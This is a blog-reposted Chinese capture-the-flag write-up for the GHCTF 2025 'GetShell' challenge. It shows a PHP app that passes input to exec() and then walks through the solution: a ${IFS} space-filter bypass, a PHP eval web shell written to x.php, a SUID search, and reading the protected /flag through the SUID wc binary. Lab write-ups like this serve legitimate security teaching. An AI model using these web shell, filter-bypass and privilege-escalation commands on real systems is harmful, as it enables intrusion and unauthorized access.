[GHCTF 2025]GetShell

ops/2025/3/13 19:58:32/

题目 

<?php
highlight_file(__FILE__);class ConfigLoader {private $config;public function __construct() {$this->config = ['debug' => true,'mode' => 'production','log_level' => 'info','max_input_length' => 100,'min_password_length' => 8,'allowed_actions' => ['run', 'debug', 'generate']];}public function get($key) {return $this->config[$key] ?? null;}
}class Logger {private $logLevel;public function __construct($logLevel) {$this->logLevel = $logLevel;}public function log($message, $level = 'info') {if ($level === $this->logLevel) {echo "[LOG] $message\n";}}
}class UserManager {private $users = [];private $logger;public function __construct($logger) {$this->logger = $logger;}public function addUser($username, $password) {if (strlen($username) < 5) {return "Username must be at least 5 characters";}if (strlen($password) < 8) {return "Password must be at least 8 characters";}$this->users[$username] = password_hash($password, PASSWORD_BCRYPT);$this->logger->log("User $username added");return "User $username added";}public function authenticate($username, $password) {if (isset($this->users[$username]) && password_verify($password, $this->users[$username])) {$this->logger->log("User $username authenticated");return "User $username authenticated";}return "Authentication failed";}
}class StringUtils {public static function sanitize($input) {return htmlspecialchars($input, ENT_QUOTES, 'UTF-8');}public static function generateRandomString($length = 10) {return substr(str_shuffle(str_repeat($x = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ', ceil($length / strlen($x)))), 1, $length);}
}class InputValidator {private $maxLength;public function __construct($maxLength) {$this->maxLength = $maxLength;}public function validate($input) {if (strlen($input) > $this->maxLength) {return "Input exceeds maximum length of {$this->maxLength} characters";}return true;}
}class CommandExecutor {private $logger;public function __construct($logger) {$this->logger = $logger;}public function execute($input) {if (strpos($input, ' ') !== false) {$this->logger->log("Invalid input: space detected");die('No spaces allowed');}@exec($input, $output);$this->logger->log("Result: $input");return implode("\n", $output);}
}class ActionHandler {private $config;private $logger;private $executor;public function __construct($config, $logger) {$this->config = $config;$this->logger = $logger;$this->executor = new CommandExecutor($logger);}public function handle($action, $input) {if (!in_array($action, $this->config->get('allowed_actions'))) {return "Invalid action";}if ($action === 'run') {$validator = new InputValidator($this->config->get('max_input_length'));$validationResult = $validator->validate($input);if ($validationResult !== true) {return $validationResult;}return $this->executor->execute($input);} elseif ($action === 'debug') {return "Debug mode enabled";} elseif ($action === 'generate') {return "Random string: " . StringUtils::generateRandomString(15);}return "Unknown action";}
}if (isset($_REQUEST['action'])) {$config = new ConfigLoader();$logger = new Logger($config->get('log_level'));$actionHandler = new ActionHandler($config, $logger);$input = $_REQUEST['input'] ?? '';echo $actionHandler->handle($_REQUEST['action'], $input);
} else {$config = new ConfigLoader();$logger = new Logger($config->get('log_level'));$userManager = new UserManager($logger);if (isset($_POST['register'])) {$username = $_POST['username'];$password = $_POST['password'];echo $userManager->addUser($username, $password);}if (isset($_POST['login'])) {$username = $_POST['username'];$password = $_POST['password'];echo $userManager->authenticate($username, $password);}$logger->log("No action provided, running default logic");
} 

 一开始显示:

看呀看呀看呀,看到ActionHandler类中handle函数有个这个东西

if ($action === 'run') {$validator = new InputValidator($this->config->get('max_input_length'));$validationResult = $validator->validate($input);if ($validationResult !== true) {return $validationResult;}return $this->executor->execute($input);

 找到execute函数

public function execute($input) {if (strpos($input, ' ') !== false) {$this->logger->log("Invalid input: space detected");die('No spaces allowed');}@exec($input, $output);$this->logger->log("Result: $input");return implode("\n", $output);}

别管其他的了,对着exec()猛冲就完事了

1.acion为'run'     2.$input是执行的命令       3.$output是执行结果 

好,很好,执行ls

/?action=run&input=ls

发现 个wc

然后去网上看wp,发现还能写马呀,长见识了

写马

/?action=run&input=echo${IFS}'<?=eval($_POST[1]);?>'${IFS}>x.php

也就是说,把 

<?=eval($_POST[1]);?>

重定向(>)到 x.php中(新建立的)

然后再ls一下就出来x.php了

 用蚁剑连接,兴高采烈找flag,结果发现p都没有

用%09或者${IFS}绕过空格

执行

/?action=run&input=ls${IFS}/

发现 docker-entrypoint.sh  程序

  执行

action=run&input=cat${IFS}/docker-entrypoint.sh

 整理一下变成:

改变环境变量并提高flag权限

#!/bin/sh   #声明
user=$(ls /home)  #后来没用到,无实际意义
if [ "$DASFLAG" ]; thenINSERT_FLAG="$DASFLAG"export DASFLAG=no_FLAG  # 导出修改后的环境变量DASFLAG=no_FLAG         # 覆盖当前脚本中的变量值
#export DASFLAG=no_FLAG:修改环境变量,让后续启动的程序(如 Apache)看到的是 no_FLAG,而非真实的 Flag。
#DASFLAG=no_FLAG:修改当前脚本中变量 DASFLAG 的值,防止后续代码误用。
#为什么需要双重操作(export + 直接赋值)?
#export:修改环境变量,影响所有 子进程(比如后续启动的 Apache)。#直接赋值:修改当前脚本中的变量值,影响 当前进程。#区别:#如果只 export,当前脚本中 DASFLAG 的值还是真实的 Flag。#如果只直接赋值,子进程(如 Apache)仍然能读取到原始的 DASFLAG。#双重操作确保 当前脚本和子进程都看不到原始 Flag。
elif [ "$FLAG" ]; thenINSERT_FLAG="$FLAG"export FLAG=no_FLAGFLAG=no_FLAG
elif [ "$GZCTF_FLAG" ]; thenINSERT_FLAG="$GZCTF_FLAG"export GZCTF_FLAG=no_FLAGGZCTF_FLAG=no_FLAG
elseINSERT_FLAG="flag{TEST_Dynamic_FLAG}"
fiecho $INSERT_FLAG | tee /flag  # 写入 Flag 到文件(/flag)
chmod 700 /flag               # 权限设为仅所有者可读写执行exec apache2-foreground  #替换当前进程为 Apache 前台运行,保持容器活跃。

 目的就是搜查三个环境变量,从环境变量中读取敏感信息(Flag),然后立即销毁环境变量中的flag痕迹,把真实flag存到/flag中,但是需要所有者权限才能读取

所以flag读不了考虑权限不够的原因,在url中提权 

?action=run&input=find / -perm -4000
加工
?action=run&input=find${IFS}/${IFS}-perm${IFS}-4000

 -perm 用于根据文件的权限来筛选文件,整句话的意思就是从根目录里头找具有SUID权限的文件(-4000)

整理后是:发现wc

提权过程

GTFOBins

第一步:将带有SUID权限的wc复制到当前目录

1. . 表示当前目录

2.install 是一个用于复制文件并设置其权限的命令,常用于安装软件包时将文件复制到指定位置,并确保文件具有合适的权限,基本语法:

install [选项] 源文件 目标位置

3. -m=xs(也就是install的那个选项):

mmode(权限),用于指定文件的权限模式。

xsx 表示可执行权限,s 表示设置 SUID(SUID)或 SGID(Set Group ID)权限。在这个命令中,设置 SUID 权限意味着当其他用户执行这个文件时,它会以文件所有者的身份运行。

4.$(which wc):which 是一个用于查找可执行文件位置的命令。$(...)首先会执行括号里的命令,然后将命令结果输出到原来位置

sudo install -m=xs $(which wc) .
加工
sudo${IFS}install${IFS}-m${IFS}=xs${IFS}$(which${IFS}wc)${IFS}.

第二步:定义目标文件路径

 定义环境变量LFILE,指向受保护文件/flag,后续可以通过$LFILE引用该路径,避免直接硬编 

input=LFILE=/flag
实际命令
export LFILE=/flag

 第三步:利用SUID的wc读取文件

1.  ./wc:运行当前目录下已设置SUID的wc程序。

2. --files0-fromwc的一个选项,从指定文件读取输入(通常用于批量统计文件)。

input=./wc --files0-from "$LFILE"
加工
input=./wc${IFS}--files0-from${IFS}"$LFILE"

上面忽略,其实直接来到最后一步就行......

在蚁剑终端输入

/var/www/html/wc --files0-from "flag" 


http://www.ppmy.cn/ops/165497.html

相关文章

Jupyter Notebook 全平台安装与配置教程(附Python/Anaconda双方案)

一、软件定位与特性 Jupyter Notebook 是交互式编程与数据科学分析工具&#xff0c;支持 40 编程语言&#xff0c;其基于浏览器的「代码块可视化」工作流&#xff0c;已成为机器学习、数据清洗、学术研究的标准环境。核心优势包括&#xff1a; 实时执行代码片段并保存结果支持…

重新认识OpenCV:C++视角下的历史演进、功能特性以及OpenCV 4.11新特性

&#xff08;基于2025年最新技术动态&#xff0c;面向工业级C开发者&#xff09; 一、OpenCV的历史迭代与技术定位 自1999年英特尔实验室诞生以来&#xff08;记住这个人-加里 布拉德斯基&#xff0c;是他怀揣着美好愿景启动了这个项目&#xff09;&#xff0c;OpenCV已成长…

推荐一些免费开源支持Vue3甘特图组件

文章目录 前言一、dhtmlxGantt二、frappe-gantt三、vue-ganttastic四、gantt-elastic五、v-gantt六、vue-gantt-schedule-timeline-calendar七、vue-gantt八、总结 前言 在现代项目管理和任务调度中&#xff0c;甘特图是一种非常实用的工具。它能够直观地展示任务的时间安排、…

安全左移动赋能:灵脉IAST交互式应用安全测试平台

左移的安全赋能 Earlier Security Empowerment 悬镜灵脉IAST灰盒安全测试平台作为国内领先的交互式应用安全测试平台&#xff0c;透明集成于现有IT流程&#xff0c;自动化完成业务代码上线前安全测试&#xff0c;重点覆盖90%以上中高危漏洞&#xff0c;防止应用带病上线&…

golang从入门到做牛马:第十五篇-Go语言切片(Slice):动态数组的“魔法”

在Go语言中,切片(Slice)是对数组的抽象。与数组相比,切片的长度是不固定的,可以动态地追加元素。切片提供了更灵活、更强大的功能,非常适合处理动态数据集合。接下来,让我们一起深入了解Go语言中的切片。 什么是切片:动态数组的“升级版” 切片是对数组的抽象,它提供…

C# AOT生成的hellowwordEXE运行占用多少内存1-5MB?

C# 使用 AOT&#xff08;Ahead - Of - Time&#xff0c;提前编译&#xff09;生成的 "Hello, World!" 可执行文件在运行时占用的内存会受到多种因素的影响&#xff0c;以下是详细分析&#xff1a; 影响内存占用的因素 操作系统&#xff1a;不同的操作系统&#xff0…

力扣-数组-69 x的平方根

思路和时间复杂度 思路&#xff1a;二分寻找符合要求的元素&#xff0c;在mid小于当时的元素时&#xff0c;记录更新结果&#xff0c;这样可以满足要求&#xff0c;而且由于是计算平方&#xff0c;所以可以右边界为之前的一半时间复杂度&#xff1a; 代码 class Solu…

L2-4 吉利矩阵

输入样例&#xff1a; 7 3输出样例&#xff1a; 666 这道题是暴力纯搜&#xff0c;但是很难想&#xff0c;我这个是看的别人的代码 #include "bits/stdc.h" using namespace std; int x[20][20]; int l, n; int cnt 0; int sumx[5], sumy[5]; void dfs(int x, in…